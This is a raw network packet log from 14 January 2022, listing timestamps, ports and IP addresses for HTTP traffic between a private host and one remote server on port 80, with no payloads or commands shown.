Jan 14, 2022 09:26:01.857487917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857652903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857661009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857841015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857856989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858021975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858030081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858212948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858222008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858392000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858403921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858571053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858581066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858755112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858763933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858930111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.858937025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859114885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859122992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859292030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859298944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859477997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859486103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859656096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859663010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859844923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.859852076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860019922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860028028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860203028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860209942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860255957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.860296965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860714912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860722065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860877991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.860886097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861059904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861068010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861233950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861242056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861403942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861411095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861568928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861576080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.861748934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.875355005 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.875394106 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.875418901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.875469923 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.875498056 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.893421888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.893517971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.893605947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.893785000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.893800020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.893971920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.893987894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894155979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894170046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894323111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894340038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894493103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894509077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894666910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894682884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894840002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.894854069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895009041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895025015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895184040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895200014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895359039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895375967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895648956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895668030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895704031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895709991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895879984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.895896912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.896054983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.896071911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.896228075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.896243095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.896395922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.896414995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.896570921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.896586895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897011042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897027969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897186041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897201061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897361040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897377014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897528887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897572041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897706985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897723913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897880077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.897886992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898056030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898073912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898224115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898240089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898401022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898418903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898571968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898592949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898749113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898763895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898864031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.898921967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.899205923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.899244070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.899488926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.899506092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.899811983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.899929047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.900031090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.900249004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.900269985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.900348902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.900480986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.900640965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.900897980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.901000023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.901133060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.901276112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.901472092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.901488066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.901601076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.901741982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.901861906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902048111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902175903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902276039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902404070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902611971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902626991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902736902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902889967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.902982950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.903101921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.903248072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.903346062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.903434992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.903692961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.903784990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904001951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904105902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904273033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904288054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904450893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904465914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904625893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904639959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.904774904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.911461115 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.922620058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.922827005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.922951937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.923192978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.923274040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.923585892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.923795938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924036980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924236059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924252987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924365997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924582005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924598932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924761057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924778938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924952984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.924968958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.925122023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.925138950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.925255060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.925800085 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.944583893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.944612026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.944756031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.944860935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.944992065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.945089102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.945276022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.945292950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.945512056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.945525885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.945683956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.945821047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.945837975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946001053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946019888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946170092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946187973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946343899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946357965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946517944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946536064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946692944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946708918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946861029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.946989059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947010040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947132111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947146893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947300911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947314024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947479010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947494984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947649002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947664022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947823048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947838068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.947993040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948007107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948170900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948184013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948343039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948349953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948517084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948534012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948687077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948703051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948864937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.948880911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949037075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949048996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949217081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949234009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949385881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949403048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949559927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949578047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949736118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949744940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949909925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.949918985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950083971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950103045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950258970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950277090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950433969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950450897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950608969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950623989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950695992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950792074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.950953960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951070070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951133966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951288939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951309919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951474905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951492071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951647997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951663017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951837063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.951853037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.952023029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.952040911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.952188015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.952209949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.963745117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.963839054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.963968039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.964095116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.964334965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.964440107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.964662075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.964677095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.964802027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.964958906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.965070009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.965228081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.965362072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.965540886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.965557098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.965671062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.965831995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.965938091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.966094017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.966295004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.966312885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.966694117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.966711044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.966869116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.966886044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967067957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967083931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967245102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967258930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967428923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967447042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967609882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967623949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967793941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967802048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967968941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.967983961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.968158007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.968175888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.968357086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.968370914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.968545914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.968563080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.968719959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.971764088 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.974690914 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.994321108 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.010066986 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.028933048 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.029712915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.029900074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030004025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030113935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030129910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030314922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030337095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030452013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030469894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030610085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030626059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030771971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030792952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030960083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.030980110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031125069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031141043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031260967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031279087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031445026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031461000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031619072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031636000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031790972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031805038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031970978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.031989098 CET	49891	80	192.168.2.4	185.215.113.35
